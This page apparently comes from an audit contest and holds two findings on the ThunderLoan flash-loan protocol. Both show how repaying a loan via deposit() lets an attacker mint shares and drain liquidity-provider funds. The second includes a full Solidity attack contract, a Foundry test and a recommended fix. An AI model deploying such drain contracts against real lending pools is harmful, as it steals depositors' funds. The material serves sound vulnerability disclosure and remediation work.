flashloan() lends a pool's tokens for a single call. The AssetToken must end the call holding at least its starting balance plus the fee, and the borrower returns the funds through repay(), which transfers tokens without minting anything. deposit() is the liquidity-provider entry point: it takes new tokens and mints AssetTokens that are a claim on them.
flashloan() treats a loan as repaid when token.balanceOf(assetToken) >= startingBalance + fee and never checks how the tokens arrived. deposit() can be called while a loan is open: it never reads s_currentlyFlashLoaning, and there is no reentrancy guard. It also sends the tokens into the same AssetToken and mints AssetTokens to the caller. A borrower who returns the loan through deposit() passes the repayment check and also holds redeemable shares for the borrowed tokens, so the same tokens count twice, and the borrower redeems those shares once the loan closes.
Likelihood:
Anyone can trigger it on any allowed token whose AssetToken holds LP deposits. flashloan(), deposit() and redeem() are permissionless, the borrower may take the full startingBalance, and the attacker needs only a receiver contract and the 0.3% fee in the borrowed token (3e18 for a 1000e18 pool in the PoC).
The attack runs in one atomic transaction. It needs no admin action, oracle movement, timing window or non-standard token behaviour: the PoC uses a plain ERC20 mock and the fixed 1e18 mock price.
Both the deployed ThunderLoan and the planned ThunderLoanUpgraded are affected, because both have the same balance-only repayment check and the same deposit() with no flash-loan check.
Impact:
Direct theft of LP principal. In the PoC the attacker pays a 3e18 fee and receives 1003e18. The pool falls from 1000e18 to 0 on ThunderLoanUpgraded and to 1 wei on ThunderLoan, so the net theft equals the LP's 1000e18 deposit.
Honest LPs are left with AssetTokens backed by an emptied pool, and their redeem() reverts. This breaks the stated invariant that the protocol never loses LP deposits (test/fuzz/Invariant.t.sol L7).
Each allowed token has its own AssetToken behind the same flashloan() and deposit() code, so every listed pool is exposed. Upgrading to ThunderLoanUpgraded does not remove the issue.
test/PoC_TL-01.t.sol deploys ThunderLoan and ThunderLoanUpgraded behind fresh ERC1967 proxies with MockPoolFactory (price 1e18) and has an LP deposit 1000e18. An attacker contract, funded only with the 3e18 fee, borrows the whole pool, returns it through deposit() inside executeOperation, and then redeems its new AssetTokens. On ThunderLoanUpgraded the test asserts that the pool ends at 0, the attacker receives exactly 1003e18 (1000e18 net of the fee), and the LP's redeem(type(uint256).max) reverts. On ThunderLoan it asserts that the pool ends at or below 1e12 wei (1 wei in the run), the attacker receives at least 1000e18, and the LP's redeem reverts; a baseline test shows an honest loan repaid through repay() leaves principal plus fee for the LP. Run with forge test --match-path test/PoC_TL-01.t.sol -vv.
File test/PoC_TL-01.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-01.t.sol -vv.
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.